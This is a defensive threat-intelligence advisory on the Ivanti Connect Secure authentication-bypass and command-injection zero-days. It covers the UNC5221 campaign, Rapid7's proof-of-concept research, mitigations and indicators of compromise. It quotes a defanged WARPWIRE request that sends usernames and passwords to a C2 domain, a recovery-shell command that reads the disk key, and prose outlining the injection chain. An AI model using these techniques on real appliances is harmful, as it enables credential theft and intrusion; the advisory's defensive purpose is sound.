Analysis of Ivanti 0-days, CVE-2023-46805 & CVE-2024-21887

Introduction

On January 10, 2024, the cybersecurity organization Volexity reported the active exploitation of two critical zero-day vulnerabilities in Ivanti Connect Secure (ICS) VPN devices. These vulnerabilities, identified as CVE-2023-46805 and CVE-2024-21887, are believed to have been actively exploited by threat actors. The details of these vulnerabilities are as follows:

• CVE-2023-46805: This vulnerability represents an authentication bypass issue within the web interface of the gateways. It allows attackers to gain access to restricted areas by bypassing security.
• CVE-2024-21887: This is a code injection vulnerability that, when exploited, permits attackers to execute arbitrary commands on the affected devices through specially designed requests.

The simultaneous exploitation of CVE-2023-46805 and CVE-2024-21887 allows for remote code execution across all supported versions of the Ivanti Connect Secure (ICS) VPN devices. Volexity’s investigations revealed that attackers have used this combination of vulnerabilities to exfiltrate configuration data, alter and retrieve files, and establish reverse tunnels from the Ivanti Connect Secure (ICS) VPN appliances.

In response, Ivanti has provided interim mitigation steps for users to implement until permanent patches are released, with the patch release window scheduled between January 22 and February 19, 2024. It was also reported that approximately 15,000 Connect Secure (ICS) and Policy Secure gateways were found to be publicly accessible on the Internet at the time of the report.

Key Takeaways

• Two zero-day vulnerabilities in Ivanti Policy Secure and Ivanti Connect Secure (ICS), identified as CVE-2023-46805 and CVE-2024-21887, are present. Successful exploitation allows arbitrary code execution on the appliance through CVE-2024-21887 by a user who has bypassed authentication through CVE-2023-46805.
• Proofs of concept are available for both vulnerabilities, enabling their combined exploitation.
• Ivanti is working to deliver patches for every affected version. Patches were scheduled for release between January 22 and February 19, 2024. Interim mitigation steps are available until then.

Affected products

The vulnerabilities affect:

• Ivanti Connect Secure (ICS) (9.x, 22.x)
• Ivanti Policy Secure (9.x, 22.x)

Technical details

The attack on Ivanti Connect Secure VPN appliances by UNC5221 was a sophisticated cyber operation. Initially, the attackers exploited two significant vulnerabilities, CVE-2023-46805 and CVE-2024-21887, for authentication bypass and command injection.

Threat actors used custom malware (THINSPOOL, ZIPLINE, and WARPWIRE) and webshells (LIGHTWIRE and WIREFIRE) for exploitation, persistent access, and credential harvesting. These tools were skillfully inserted into secure files within the Ivanti system, allowing the attackers not only persistent access but also the ability to evade detection.

The attackers’ methods included downloading tools, internal reconnaissance, and lateral movement within the network using compromised credentials. A key aspect of the attack was the strategic acquisition and exploitation of credentials. Webshells provided a consistent foothold for ongoing network access. Attackers used the WARPWIRE credential harvester, which was embedded into a legitimate CS file. This tool collects plaintext credentials and sends them to the command-and-control (C2) server via an HTTP GET request:

hxxps://symantke[.]com/?<username>&<password>

Perpetrators used the Ivanti Integrity Checker Tool (ICT) to identify and manipulate system vulnerabilities, evading standard security measures by manipulating exclusion_list, which is part of legitimate Ivanti ICT. This leads to adding any malicious tool to the Connect Secure file (CS) and excluding it from being detected. This method is highly utilized by the ZIPLINE passive backdoor. This is achieved by using the --exclude parameter with ZIPLINE malware.

The deployment of webshells, such as LIGHTWIRE and WIREFIRE, for ongoing access was another hallmark of this attack. These webshells provided a foothold within the network, enabling the attackers to maintain a presence and execute commands remotely.

Proof of Concept

A proof-of-concept checker for exploitation of command injection (CVE-2024-21887) is available. Rapid7, a research company, prepared a fully operational proof of concept for these vulnerabilities.

The analysis began with Ivanti Connect Secure version 22.3R1, distributed as a virtual appliance. A significant hurdle was the LUKS encryption on most partitions, making direct access to the system’s data unfeasible without the appropriate decryption key. Traditional jailbreaking methods proved ineffective, necessitating a novel approach.

Due to this, Rapid7 researchers used a jailbreaking technique involving the GRUB bootloader recovery shell to bypass the appliance’s security measures. By editing the GRUB configuration and appending init=//bin/sh, they accessed a recovery shell, circumventing the default shell-filtering mechanisms. This method was pivotal in retrieving the 16-byte encryption key, a critical step that allowed them to mount and access the encrypted volumes. The key could be retrieved by executing the command cat -Ev /etc/lvmkey, overcoming limitations in exfiltrating it from the recovery shell.

Continuing the investigation, the focus shifted to the appliance’s web component, particularly how it manages access controls. Two primary elements were identified: a custom C++ web server located at ics_disk1/root/home/bin/web and a Python-based REST API developed using Flask. Intriguingly, authentication checks were enforced in the C++ web server, not in the Flask application, indicating a separation of authentication and application logic.

To assess the potential for exploitation, Rapid7 extracted all hard-coded URI endpoints from both the web server binary and the REST server source code. A Ruby script was developed to automate requests to these endpoints, recording their HTTP response codes. This process was instrumental in identifying accessible endpoints, analyzing the HTTP codes, and understanding the scope of the vulnerabilities.

The exploit chain included two command injection vulnerabilities, offering different levels of system access. Both injections require properly placing semicolons to enable execution of arbitrary commands.

The first command injection allowed command execution as a low-privileged user. It involved manipulating a specific API endpoint that did not properly sanitize user input, allowing the injection of arbitrary commands. This attempt required modifying the GET request by adding an arbitrary command. The command first had to be encoded to work properly.

The second command injection allowed privilege escalation to root by using a specially crafted JSON file. This attempt triggered the vulnerability and allowed the execution of specified commands with higher privileges. It required a modified JSON file and execution of a curl request to achieve unauthenticated OS command execution.

The raw code used in this proof of concept is available here (opens in a new tab), with additional information available in the documentation (opens in a new tab).

Detection

As provided in the Mandiant report, YARA rules for detection are available here (opens in a new tab).

Remediation

Ivanti issued a series of critical mitigation steps for users. These steps are highly recommended as interim protective measures until a more permanent solution, in the form of security patches, is available.

To address these vulnerabilities, Ivanti announced a structured release schedule for patches. These patches were slated to be released weekly, targeting each version of the software susceptible to the identified vulnerabilities. The rollout was scheduled to commence in the week of January 22 and continue through the week of February 19. This schedule was designed to ensure that all vulnerable versions of the software received the necessary updates in a timely and organized manner.

To provide further flexibility and expedite the resolution of these security issues, Ivanti also offered an alternative solution. Users had the option to update their current versions of the Ivanti products to a newer version. Opting for this update could potentially lead to earlier receipt of the necessary patches, thereby enhancing the security of their systems sooner than the scheduled weekly releases for previously installed versions.

More details are available in Ivanti’s Complete Upgrade Guide (opens in a new tab).

Details of the patch release are available in the table below:

The Threat Intelligence team encourages you to apply patches as soon as they are released and, until then, to follow the mitigation steps provided by Ivanti.

Temporary mitigation

Ivanti provided mitigation steps to address these vulnerabilities. These steps rely on replacing an existing XML file with a new one. The new XML file, mitigation.release.20240107.1.xml, can be accessed after a successful login to Ivanti’s portal. However, this action may affect certain functions of Ivanti’s products.

Ivanti Connect Secure

• Admin REST APIs
  • Automation built with the REST API for configuration and monitoring will be impacted. Administrators will still be able to access the gateways through the gateway’s GUI.
• End User Portal (Advanced HTML5)
  • This applies specifically to requests that launch a dynamically assigned HTML5 bookmark. Existing predefined HTML5 bookmarks are not impacted.
• End-user JSAM functionality is impacted.
• Rewriter functionality is unavailable once mitigation is applied. This applies specifically to the Rewriter Browser Bar.
• Citrix StoreFront with HTML5 is impacted.
• Citrix StoreFront with ICA Client connecting over CTS/WSAM is not impacted.
• Auto-launch of PSAL installation
  • This only impacts new users or machines that have not previously logged in and installed PSAL. As a workaround, PSAL can be downloaded and installed manually.
• Admin CRL Configuration
  • Admins will be unable to change the CRL configuration. Otherwise, CRL functionality is not impacted by the mitigation.

Ivanti Policy Secure

• Profiler and Remote Profiler will be significantly degraded once mitigation is applied but will still allow authentication to an IPS appliance.
• UEBA adaptive authentication is unavailable once mitigation is applied.

Additionally, to support these mitigation efforts, Ivanti recommends deploying an external instance of ICT (Integrity Checker Tool) for ICS VPN appliances. Using the default ICT instance is discouraged, as it may have been compromised during the attack. After installation, this tool checks for new or mismatched files on the system and displays the results to users.

It is important to note that using this tool reboots the ICS VPN appliance and overwrites much of the system memory. Therefore, if there is any indication of a compromise, it is advisable to gather the necessary forensic data before running the tool. The tool’s effectiveness is evident when it identifies mismatched or new files, indicating potential system compromises. After a reboot, it saves an encrypted snapshot of these files, which can be sent to Ivanti for decryption and further analysis.

Recommendations

In addition to the remediation and mitigation steps suggested by Ivanti, the organization must also conduct a comprehensive review of its systems. This review should include:

• Ensuring that all patches and remediation steps are applied properly and according to the instructions provided by Ivanti.
• Conducting scans of the environment with an external ICT, as suggested by the vendor.
• Searching for any malicious activity correlated with the exploitation of these vulnerabilities.

These vulnerabilities highlight the importance of proactive and continuous monitoring of security systems to mitigate risks associated with such critical vulnerabilities.

Indicators of Compromise

IP addresses

• 173[.]220[.]106[.]166
• 173[.]53[.]43[.]7
• 206[.]189[.]208[.]156
• 47[.]207[.]9[.]89
• 50[.]213[.]208[.]89
• 50[.]215[.]39[.]49
• 50[.]243[.]177[.]161
• 64[.]24[.]179[.]210
• 71[.]127[.]149[.]194
• 73[.]128[.]178[.]221
• 75[.]145[.]224[.]109
• 75[.]145[.]243[.]85
• 98[.]160[.]48[.]170

Domains

• gpoaccess[.]com
• symantke[.]com — WARPWIRE C2
• webb-institute[.]com

Malware

References

• Volexity: Active exploitation of two zero-day vulnerabilities in Ivanti Connect Secure VPN
• Mandiant: Suspected APT targets Ivanti zero-day vulnerabilities
• NVD: CVE-2023-46805
• NVD: CVE-2024-21887
• Ivanti: Authentication bypass and command injection vulnerabilities
• Ivanti: KB44755
• Ivanti: Complete Upgrade Guide
• Ivanti: Patching order for vulnerable products
• BleepingComputer: Ivanti Connect Secure zero-days exploited to deploy custom malware
• Tenable: CVE-2023-46805 and CVE-2024-21887
• Ivanti CVE-2024-21887 research repository
• Qualys: Ivanti Connect Secure and Policy Secure vulnerabilities exploited in the wild
• Duo: APT group targets Ivanti flaws
• Rapid7 Metasploit module
• Rapid7 Metasploit module documentation
• AttackerKB: Rapid7 analysis of CVE-2023-46805